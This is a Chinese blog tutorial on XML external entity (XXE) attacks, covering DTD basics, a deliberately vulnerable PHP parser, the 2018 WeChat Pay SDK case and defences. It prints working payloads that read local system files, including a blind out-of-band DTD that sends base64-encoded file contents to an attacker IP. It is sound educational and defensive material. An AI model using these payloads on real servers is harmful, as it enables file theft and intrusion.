XXE攻击原理

1简述

XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

2 XML结构介绍

要了解XXE漏洞,那么一定要先学习一下有关XML的基础知识。

XML被设计为传输和存储数据,其焦点是数据的内容,目的是把数据从HTML分离,是独立于软件和硬件的信息传输工具。XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的,如下:

image

上面这个DTD定义了XML的根元素是message,然后元素下面还有一些子元素,其中DOCTYPE是DTD的声明;ENTITY是实体的声明,所谓实体可以理解为变量;SYSTEM、PUBLIC是外部资源的申请。那么XML到时候必须像如下这么写:

image

现在我们了解了XML的实体的定义,但是还没有对实体进行分类,从两个角度可以把XML分为两类共4个类型:(内部实体、外部实体)、(通用实体、参数实体)。其中两大类含有重复的地方。

内部实体:

(DTD定义代码)

image

(引用代码)

image

使用&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被“test”替换。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

外部实体:

外部实体表示外部文件的内容,用 SYSTEM 关键词表示,通常使用<!DOCTYPE 根元素 SYSTEM “文件名”>或者<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>的形式引用外部实体。

image

有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)。

通用实体:

image

用&实体名;引用的实体,他在DTD中定义,在XML文档中引用

参数实体:

a.使用 % 实体名(这里空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用

b.只有在DTD文件中,参数实体的声明才能引用其他实体

c.和通用实体一样,参数实体也可以外部引用

image

<input class="pgc-img-caption-ipt" placeholder="图片描述(最多50字)" value="" style="font-size: 12px; border-radius: 0px; color: rgb(65, 68, 70); font-family: 微软雅黑; outline: none; background: none; border: none; margin: 0px; padding: 0px;">

3普通的XML注入

在介绍XXE之前,先简单说一下普通的XML注入,为什么要提XML注入呢,我们从XXE的全称(XML外部实体注入)可以看出,XXE也是一种XML注入,只不过注入的是XML外部实体罢了。

image

从上图可以看出来,所谓的XML注入就是在XML中用户输入的地方,根据输入位置上下文的标签情况,插入自己的XML代码。虽然由于普通的XML注入利用面窄,现实中几乎用不到,但是我们可以想到,既然可以插入XML代码我们为什么不能插入XML外部实体呢,如果能注入成功并且成功解析的话,就会大大扩宽我的XML注入的攻击面了。于是就出现了XXE

4从回显中读取本地敏感文件(Normal XXE)

这个攻击场景模拟的是服务端能接收并解析XML格式的输入并且有回显的时候,我们可以输入我们自定义的XML代码,通过外部引用实体的办法,引用服务器上面的文件。

先给出服务器端解析XML的php代码

xxe.php

<?php

   libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');

   $dom = new DOMDocument();

   $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

   $creds = simplexml_import_dom($dom);

   echo $creds;

?>

其中libxml_disable_entity_loader(BOOL)函数接收true或false两种布尔型参数,用来表示是否允许禁用外部加载实体,当值为false时允许加载外部实体;

通过file_get_contents()加载传入的参数,再通过DOMDocument类中的loadXML函数加载外部传入的实体(XML),最后将结果返回显示

因此我们构造一个XML外部实体,用来访问服务器上的敏感文件,然后再数据传输过程中将自己的实体注入。

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini">

]>

<x>&xxe;</x>

结果如下:

image
image

当然,回显注入属于是例外中的例外,毕竟XML本身就不是输出用的,一般都是用于配置或者某些极端情况下利用其它漏洞能恰好实例化解析XML的类,因此想要利用现实中更真实的XXE漏洞需要寻找一个不依靠回显的方法-----外带

5无回显读取本地敏感文件(Blind OOB XXE)

想要外带就必须能发起请求,那么什么地方能发起请求呢?很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)。照例给出存在问题的服务端代码。

xxe.php:

<?php

libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

?>

可以看到这个服务器配置与上一个相比取消了回显,但是依然是不安全的。

Payload:

<?xml version="1.0"?>

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://my.local.cn/test.dtd">

%remote;%int;%send;

]>

再提交数据的时候引用另一个DTD文件,test.dtd将服务器上的敏感文件进行base64编码后转发给攻击者ip:9999端口上

test.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.210.37:9999?p=%file;'>">

结果如下:

image
image

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程主机上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

进一步对XXE漏洞分析后,我们可以很清晰地看到我们实际上都是通过file协议读取本地文件,或者通过http协议发出请求,类比一下其他漏洞例如SSRF,发现这两种漏洞的利用方式非常相似,因为他们都是从服务器向另一台服务器发起请求,所以想要更进一步的利用XXE漏洞我们要清楚在何种平台可以使用何种协议

image

6XXE的真实案例(微信支付XXE)

在2018年7月4日微信SDK爆出XXE漏洞,通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为。

漏洞描述:

微信支付提供了一个接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品

漏洞产生原因:

微信支付SDK的XXE漏洞产生原因都是因为使用了DocumentBuilderFactory没有限制外部查询而导致XXE

攻击代码:

image

直接向其中注入XML外部实体,返回c盘上的系统配置文件内容,由于可以直接回显所以采用了最简单的回显注入而不是外带注入

7XXE漏洞防御

1.使用开发语言提供的禁用外部实体的方法

PHP: libxml_disable_entity_loader(true);

JAVA:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python: from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

3.使用第三方应用代码及时升级补丁

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,198评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,663评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,985评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,673评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,994评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,399评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,717评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,407评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,112评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,371评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,891评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,255评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,881评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,010评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,764评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,412评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,299评论 2 260

推荐阅读更多精彩内容